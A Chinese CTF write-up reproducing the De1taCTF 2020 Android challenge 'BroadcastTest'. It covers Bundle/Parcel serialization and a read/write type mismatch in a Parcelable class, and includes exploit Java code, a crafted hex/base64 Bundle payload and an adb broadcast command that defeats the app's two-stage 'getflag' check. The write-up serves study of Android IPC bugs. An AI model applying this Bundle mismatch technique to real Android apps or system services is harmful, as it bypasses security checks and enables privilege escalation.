Android Pwn De1taCTF BroadcastTest复现

发布于 2020-05-07  119 次阅读


2020 De1taCTF BroadcastTest
Android Pwn中CVE-2017-13288的思路。


官方WP:https://github.com/De1ta-team/De1CTF2020

可以参看https://www.ms509.com/2018/07/03/bundle-mismatch,其中描述了Parcel中对于读出和写入时类型不一致会产生的漏洞。

Parcelable与Bundle机制

Android使用Parcelable接口来实现序列化的方法。一个类只要实现了Parcelable接口中的方法,其对象就能被序列化,并可以被intent或者binder传输。
其中,writeToParcelreadFromParcel方法,分别调用Parcel类中的一系列write方法和read方法实现序列化和反序列化。
可序列化的Parcelable对象一般不单独进行序列化传输,需要通过Bundle对象携带。 Bundle的内部实现实际是Hashmap,以Key-Value键值对的形式存储数据。

例如, Android中进程间通信频繁使用的Intent对象中可携带一个Bundle对象,利用putExtra(key, value)方法,可以往Intent的Bundle对象中添加键值对(Key Value)。Key为String类型,而Value则可以为各种数据类型,包括int、Boolean、String和Parcelable对象等等。

注: ParcelableSerializable都用来实现序列化并且都可以用于Intent间传递数据, Serializable是Java的实现方式, 可能会频繁的IO操作,所以消耗比较大,但是实现方式简单。 Parcelable是Android提供的方式,效率比较高,但是实现起来复杂一些 , 二者的选取规则是:内存序列化上选择Parcelable, 存储到设备或者网络传输上选择Serializable(当然Parcelable也可以但是稍显复杂)

bundle序列化过程浅析

Parcel类中维护着bundle中value的类型信息。各类型定义见
/frameworks/base/core/java/android/os/Parcel.java

    // Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
    private static final int VAL_NULL = -1;
    private static final int VAL_STRING = 0;
    private static final int VAL_INTEGER = 1;
    private static final int VAL_MAP = 2;
    private static final int VAL_BUNDLE = 3;
    private static final int VAL_PARCELABLE = 4;
    private static final int VAL_SHORT = 5;
    private static final int VAL_LONG = 6;
    private static final int VAL_FLOAT = 7;
    private static final int VAL_DOUBLE = 8;
    private static final int VAL_BOOLEAN = 9;
    private static final int VAL_CHARSEQUENCE = 10;
    private static final int VAL_LIST  = 11;
    private static final int VAL_SPARSEARRAY = 12;
    private static final int VAL_BYTEARRAY = 13;
    private static final int VAL_STRINGARRAY = 14;
    private static final int VAL_IBINDER = 15;
    private static final int VAL_PARCELABLEARRAY = 16;
    private static final int VAL_OBJECTARRAY = 17;
    private static final int VAL_INTARRAY = 18;
...
    private static final int VAL_DOUBLEARRAY = 28;

在对bundle进行序列化的时候,会依次写入携带所有数据的长度、Bundle魔数(0x4C444E42)和键值对。见BaseBundle.writeToParcelInner方法

    /**
     * Writes the Bundle contents to a Parcel, typically in order for
     * it to be passed through an IBinder connection.
     * @param parcel The parcel to copy this bundle to.
     */
    void writeToParcelInner(Parcel parcel, int flags) {
        // If the parcel has a read-write helper, we can't just copy the blob, so unparcel it first.
        if (parcel.hasReadWriteHelper()) {
            unparcel();
        }
        // Keep implementation in sync with writeToParcel() in
        // frameworks/native/libs/binder/PersistableBundle.cpp.
        final ArrayMap<String, Object> map;
        synchronized (this) {
          ...
        }

        // Special case for empty bundles.
        if (map == null || map.size() <= 0) {
            parcel.writeInt(0);
            return;
        }
        int lengthPos = parcel.dataPosition();
        parcel.writeInt(-1); // dummy, will hold length
        parcel.writeInt(BUNDLE_MAGIC);

        int startPos = parcel.dataPosition();
        parcel.writeArrayMapInternal(map);
        int endPos = parcel.dataPosition();

        // Backpatch length
        parcel.setDataPosition(lengthPos);
        int length = endPos - startPos;
        parcel.writeInt(length);
        parcel.setDataPosition(endPos);
    }

parcel.writeArrayMapInternal方法写入键值对,先写入Hashmap的个数,然后依次写入键和值
/frameworks/base/core/java/android/os/Parcel.java#759

/*
 * Flatten an ArrayMap into the parcel at the current dataPosition(),
 * growing dataCapacity() if needed.  The Map keys must be String objects.
 */

/* package */ 
void writeArrayMapInternal(ArrayMap<String, Object> val) {
    ...
    final int N = val.size();
    writeInt(N);
    ... 
    int startPos;
    for (int i=0; i<N; i++) {
        if (DEBUG_ARRAY_MAP) startPos = dataPosition();
        writeString(val.keyAt(i));
        writeValue(val.valueAt(i));
    ...

然后,调用writeValue方法顺序写入value类型值和value本身,如果是Parcelable对象,则调用writeParcelable方法,后者会调用Parcelable对象的writeToParcel方法。

public final void writeValue(Object v) {
        if (v == null) {
            writeInt(VAL_NULL);
        } else if (v instanceof String) {
            writeInt(VAL_STRING);
            writeString((String) v);
        } else if (v instanceof Integer) {
            writeInt(VAL_INTEGER);
            writeInt((Integer) v);
        } else if (v instanceof Map) {
            writeInt(VAL_MAP);
            writeMap((Map) v);
        } else if (v instanceof Bundle) {
            // Must be before Parcelable
            writeInt(VAL_BUNDLE);
            writeBundle((Bundle) v);
        } else if (v instanceof PersistableBundle) {
            writeInt(VAL_PERSISTABLEBUNDLE);
            writePersistableBundle((PersistableBundle) v);
        } else if (v instanceof Parcelable) {
            // IMPOTANT: cases for classes that implement Parcelable must
            // come before the Parcelable case, so that their specific VAL_*
            // types will be written.
            writeInt(VAL_PARCELABLE);
            writeParcelable((Parcelable) v, 0);

反序列化过程则完全是一个对称的逆过程,依次读入Bundle携带所有数据的长度、Bundle魔数(0x4C444E42)、键和值,如果值为Parcelable对象,则调用对象的readFromParcel方法,重新构建这个对象。

题目复现

分析

app总共注册了三个BroadcastReceiver,只有第一个是exported的。相当于我们只能显示调用这个receiver。

MyReceiver1

  1. 从intent对象拿到iddata两个键值,对传入的data进行base64解码。
  2. 建立一个Parcel对象dest,将data拆包置入dest中。
  3. 创建新的intent对象,再把dest封包放入bundle中,发送给MyReceiver2.
public class MyReceiver1 extends BroadcastReceiver {
    public void onReceive(Context context, Intent intent) {
        String str = "id";
        int id = intent.getIntExtra(str, 0);
        String data = intent.getStringExtra("data");
        if (id != 0 && data != null) {
            try {
                byte[] buffer = Base64.decode(data, 0);
                Parcel dest = Parcel.obtain();
                dest.unmarshall(buffer, 0, buffer.length);
                dest.setDataPosition(0);
                Intent intent1 = new Intent();
                intent1.setAction("com.de1ta.receiver2");
                intent1.setClass(context, MyReceiver2.class);
                Bundle bundle = new Bundle();
                bundle.readFromParcel(dest);
                intent1.putExtra(str, id);
                intent1.putExtra("message", bundle);
                context.sendBroadcast(intent1);
            } catch (Exception e) {
                Log.e("De1taDebug", "exception:", e);
                StringBuilder stringBuilder = new StringBuilder();
                stringBuilder.append("Failed in Receiver1! id:");
                stringBuilder.append(id);
                Log.d("De1ta", stringBuilder.toString());
            }
        }
    }
}

MyReceiver2

这里进行对command内容的验证,从接收到的bundle中的command键取对应的value,要求取到的value不能和getflag相同。
然后,将bundle再次封装并发送给MyReceiver2

public class MyReceiver2 extends BroadcastReceiver {
    public void onReceive(Context context, Intent intent) {
        String str = "message";
        Bundle bundle = intent.getBundleExtra(str);
        String str2 = "id";
        int id = intent.getIntExtra(str2, 0);
        String command = bundle.getString("command");
        String str3 = "Failed in Receiver2! id:";
        String str4 = "De1ta";
        if (id == 0 || command == null || command.equals("getflag")) {
            StringBuilder stringBuilder = new StringBuilder();
            stringBuilder.append(str3);
            stringBuilder.append(id);
            Log.d(str4, stringBuilder.toString());
            return;
        }
        try {
            Intent intent1 = new Intent();
            intent1.setAction("com.de1ta.receiver3");
            intent1.setClass(context, MyReceiver3.class);
            intent1.putExtra(str2, id);
            intent1.putExtra(str, bundle);
            context.sendBroadcast(intent1);
        } catch (Exception e) {
            Log.e("De1taDebug", "exception:", e);
            StringBuilder stringBuilder2 = new StringBuilder();
            stringBuilder2.append(str3);
            stringBuilder2.append(id);
            Log.d(str4, stringBuilder2.toString());
        }
    }
}

MyReceiver3

这里进行第二次验证,从接收到的bundle中的command键取对应的value,要求取到的value必须和getflag相同。

public class MyReceiver3 extends BroadcastReceiver {
    public void onReceive(Context context, Intent intent) {
        String command = intent.getBundleExtra("message").getString("command");
        int id = intent.getIntExtra("id", 0);
        String str = "De1ta";
        if (id == 0 || command == null || !command.equals("getflag")) {
            StringBuilder stringBuilder = new StringBuilder();
            stringBuilder.append("Failed in Receiver3! id:");
            stringBuilder.append(id);
            Log.d(str, stringBuilder.toString());
            return;
        }
        stringBuilder = new StringBuilder();
        stringBuilder.append("Congratulations! id:");
        stringBuilder.append(id);
        Log.d(str, stringBuilder.toString());
    }
}

利用

发送给MyReceiver1的bundle经过一次拆包封包的过程然后发给MyReceiver2去验证。MyReceiver2验证一次后又进行拆包封包给MyReceiver3。这个过程中,两次验证分别要求不为getflag和等于getflag
看看还有什么代码没有分析。对了,就是MainActivity里面的Message类,它实现了Parcel接口。我们看Message中对拆包封包的逻辑处理。

        public Message(Parcel in) {
            this.bssid = in.readString();
            this.burstNumber = in.readInt();
            this.measurementFrameNumber = in.readInt();
            this.successMeasurementFrameNumber = in.readInt();
            this.frameNumberPerBurstPeer = in.readInt();
            this.status = in.readInt();
            this.measurementType = in.readInt();
            this.retryAfterDuration = in.readInt();
            this.f32ts = in.readLong();
            this.rssi = in.readInt();
            this.rssiSpread = in.readInt();
            this.txRate = in.readInt();
            this.rtt = in.readLong();
            this.rttStandardDeviation = in.readLong();
            this.rttSpread = in.readLong();
        }

        public void writeToParcel(Parcel dest, int i) {
            dest.writeString(this.bssid);
            dest.writeInt(this.burstNumber);
            dest.writeInt(this.measurementFrameNumber);
            dest.writeInt(this.successMeasurementFrameNumber);
            dest.writeInt(this.frameNumberPerBurstPeer);
            dest.writeInt(this.status);
            dest.writeInt(this.measurementType);
            dest.writeInt(this.retryAfterDuration);
            dest.writeLong(this.f32ts);
            dest.writeInt(this.rssi);
            dest.writeInt(this.rssiSpread);
            dest.writeByte((byte) this.txRate);
            dest.writeLong(this.rtt);
            dest.writeLong(this.rttStandardDeviation);
            dest.writeInt((int) this.rttSpread);
        }

其中writeToParcel是封包时候写入bundle的处理函数。可以看到写入的时候有强制类型转换

dest.writeByte((byte) this.txRate);
dest.writeInt((int) this.rttSpread);

而在读入的时候为

this.txRate = in.readInt();
this.rttSpread = in.readLong();

其中rttSpread写入的时候是按照int,但是读取的时候是long, 由于parcel顺序读写的结构,也就是说包中的long读取的时候会把下4个字节也读入以构成long,导致后面的键值对解析存在可控空间。
因为bundle里的数据是4字节对齐的,所以此处txRate写入byte,读取int的操作并没有影响。

复现

为了方便调试,我们把反编译后的代码移植到新创建的工程中。此处我新建了一个Android项目。

https://github.com/pcy190/BundlePwn

创建了一个message的无参构造函数

 Message() {
        this.bssid = "bssid";
        this.burstNumber = 1;
        this.frameNumberPerBurstPeer = 2;
        this.measurementFrameNumber = 3;
        this.measurementType = 4;
        this.retryAfterDuration = 5;
        this.rssi = 6;
        this.rssiSpread = 7;
        this.rtt = 8;
        this.rttSpread = 9;
        this.rttStandardDeviation = 10;
        this.status = 11;
        this.successMeasurementFrameNumber = 12;
        this.f32ts = 13;
        this.txRate = 0xff;
}

然后写一个函数来发送广播

 public void sendData(Context context) {
        Bundle bundle = new Bundle();
        bundle.putParcelable("msg", new Message());
        bundle.putString("command","getflag");
        Parcel parcel = Parcel.obtain();
        parcel.writeBundle(bundle);
        parcel.setDataPosition(0);
        byte[] bytes = parcel.marshall();

        StringBuilder buffer = new StringBuilder();
        for (byte b : bytes) {
            buffer.append(String.format("%02x", b));
        }

        Log.d(TAG, buffer.toString());
        Log.d(TAG, new String(Base64.encode(bytes, 0)));
        Intent intent = new Intent("com.happy.parcelpwn.receiver1");
        intent.putExtra("id", (int) 6666);
        intent.putExtra("data", new String(Base64.encode(bytes, 0)));
        context.sendBroadcast(intent);
    }

logcat中查看打印的十六进制流

D/HAPPY_ANDROID: d0000000424e444c02000000030000006d00730067000000040000001b00000063006f006d002e00680061007000700079002e00700061007200630065006c00700077006e002e004d0065007300730061006700650000000500000062007300730069006400000001000000030000000c000000020000000b00000004000000050000000d000000000000000600000007000000ffffffff08000000000000000a00000000000000090000000700000063006f006d006d0061006e0064000000000000000700000067006500740066006c00610067000000

分析这段,第一个int是bundle数据长度(不包含长度位和魔数),即0xD0
接下来就是BNDL的魔数。
然后是键值对的个数0x2

  • 0x3是key的长度(两字节为1个单位,string会自动用0补齐4字节)
  • 6D 00 73 00 67 00 00 00为key的名称
  • 04 00 00 00为value的类型,此处4表示VAL_PARCELABLE
  • 1B 00 00 00为value的中parcel类名长度
  • 接下来到0xAB的位置都是value的内容
  • 0xAC处开始了新的key-value, 07 00 00 00即为key的长度,接下来分析如上,只不过此处value-type为0,即string类型。

调的时候写了一段临时的010 editor的模板

struct BUNDLE {
    int length <comment="total size of bundle">;
    int MAGIC <format=hex>;
    int key_value_number;

    local int current_size=12;

    typedef struct{
        int  k_length;
        SetForeColor( cGreen );
        ushort key_name[((k_length+3)/4)*4] ;
        SetForeColor( cNone );
        current_size+=4+ ((k_length+3)/4)*4*2;
    }key;
    typedef struct{
        int value_type;
        int v_length;
        SetForeColor( cBlue );
        if (value_type==4){
          ushort classname[(v_length+1)/2*2] <comment="only for Message class">;
          int classvalue[21];
            current_size+=(v_length+1)/2*2*2+21*4+8;
        }else{
          ushort value_[(v_length+3)/4*4];
            current_size+=v_length*2+8 ;
        }
        SetForeColor( cNone);
    }value;
    typedef struct{
        key k;
        value v;
    } KV ;

    while (current_size<length){
        KV kv_;
        //current_size = current_size + sizeof(kv_);
        Printf( "Current size=%d\n", current_size);
    }
} bundle;

看起来会稍微好些

然后我们考虑parcel末尾的09 00 00 00,由于读取的时候会按照09 00 00 00 07 00 00 00的long 8字节,那么接下来就会以下一个int,即此处的63 00 6F 00作为key的长度,再读取key,依次类推。而这里的63 00 6F 00是我们构造的key,接下来的内容,除了00和是字符串类型值,其他都可控。由于第一次读取的时候,会判断command的内容是否存在,而且不为getflag
我们可以构造一个command的键,其值确实不为getflag,但是它的value包含了一个command为键,getflag为值得序列对的字节码,这样我们在receiver3得第二次溢出时,可以让偏移转向这个序列对得开头,接着在此处解析就能得到getflag的值了。
Message和command之间我们可以插入int数组来构造偏移,int数组是4字节对齐的,其type值为12,参见下面的图

原始的序列为

第一次吞并后

第二次吞并后

最后构造出的核心exp

bundle.putParcelable("66", new Message());
bundle.putIntArray("\3\00\3", new int[]{0x12, 0x18, 7, 6, 5, 4, 3, 2, 1,
                15, 16, 17, 18, 19, 20, 21, 22, 23}); // length : 0x12 :int array type
bundle.putString("\7\0command", "\07\0command\0\0\0\7\0getflags");

构造的核心点

  1. int数组长度为0x12,为了保证溢出以后,其长度位能够充当类型值。
  2. int数组第一个元素为0x12,第二次溢出以后,该元素能够作为类型值。
  3. int数组第二个元素用于控制偏移,以保证第二次溢出时,通过该值作为数组长度,获取下一个key-value的之后能够进入后面构造的\07\0command\0\0\0\7\0getflags中。
  4. 调试的时候把十六进制序列打印出来,注意string后面会自动补齐0就行了。

构造出的序列

50010000424e444c03000000020000003600360000000000040000001b00000063006f006d002e00680061007000700079002e00700061007200630065006c00700077006e002e004d0065007300730061006700650000000500000062007300730069006400000001000000030000000c000000020000000b00000004000000050000000d000000000000000600000007000000ffffffff08000000000000000a000000000000000900000003000000030000000300000012000000120000001200000018000000070000000600000005000000040000000300000002000000010000000f0000001000000011000000120000001300000014000000150000001600000017000000090000000700000063006f006d006d0061006e006400000000000000160000000700000063006f006d006d0061006e0064000000000000000700000067006500740066006c0061006700730000000000

将其fromHex,然后base64

UAEAAEJOREwDAAAAAgAAADYANgAAAAAABAAAABsAAABjAG8AbQAuAGgAYQBwAHAAeQAuAHAAYQByAGMAZQBsAHAAdwBuAC4ATQBlAHMAcwBhAGcAZQAAAAUAAABiAHMAcwBpAGQAAAABAAAAAwAAAAwAAAACAAAACwAAAAQAAAAFAAAADQAAAAAAAAAGAAAABwAAAP////8IAAAAAAAAAAoAAAAAAAAACQAAAAMAAAADAAAAAwAAABIAAAASAAAAEgAAABgAAAAHAAAABgAAAAUAAAAEAAAAAwAAAAIAAAABAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAXAAAACQAAAAcAAABjAG8AbQBtAGEAbgBkAAAAAAAAABYAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAHAAAAZwBlAHQAZgBsAGEAZwBzAAAAAAA=

然后用下面的命令去发送广播

adb shell am broadcast -n com.happy.parcelpwn/.MyReceiver1 -a com.happy.parcelpwn.receiver1 -f 32 --es data UAEAAEJOREwDAAAAAgAAADYANgAAAAAABAAAABsAAABjAG8AbQAuAGgAYQBwAHAAeQAuAHAAYQByAGMAZQBsAHAAdwBuAC4ATQBlAHMAcwBhAGcAZQAAAAUAAABiAHMAcwBpAGQAAAABAAAAAwAAAAwAAAACAAAACwAAAAQAAAAFAAAADQAAAAAAAAAGAAAABwAAAP////8IAAAAAAAAAAoAAAAAAAAACQAAAAMAAAADAAAAAwAAABIAAAASAAAAEgAAABgAAAAHAAAABgAAAAUAAAAEAAAAAwAAAAIAAAABAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAXAAAACQAAAAcAAABjAG8AbQBtAGEAbgBkAAAAAAAAABYAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAHAAAAZwBlAHQAZgBsAGEAZwBzAAAAAAA= --ei id 2333

注意点

  • 这里用66作为message对象的键,由于bundle用的是hashmap,前文提到过。而hashmap底层是链表/红黑树,在写出的时候是按照键的hash值从小到大来的。特定的键会导致message的parcel被放到了command的后面去了,(因为有些键的hash值比command的hash大),这里要考虑这个问题,我有时候构造出的payload会发现key顺序不太对。(可以用String.hashcode()来判断。)
  • 另外,如果要打远程,需要改下parcel里面的类名信息即可,因为此处确保了类的其他实现和题中一致。(即com.de1ta.broadcasttest.MainActivity$Message)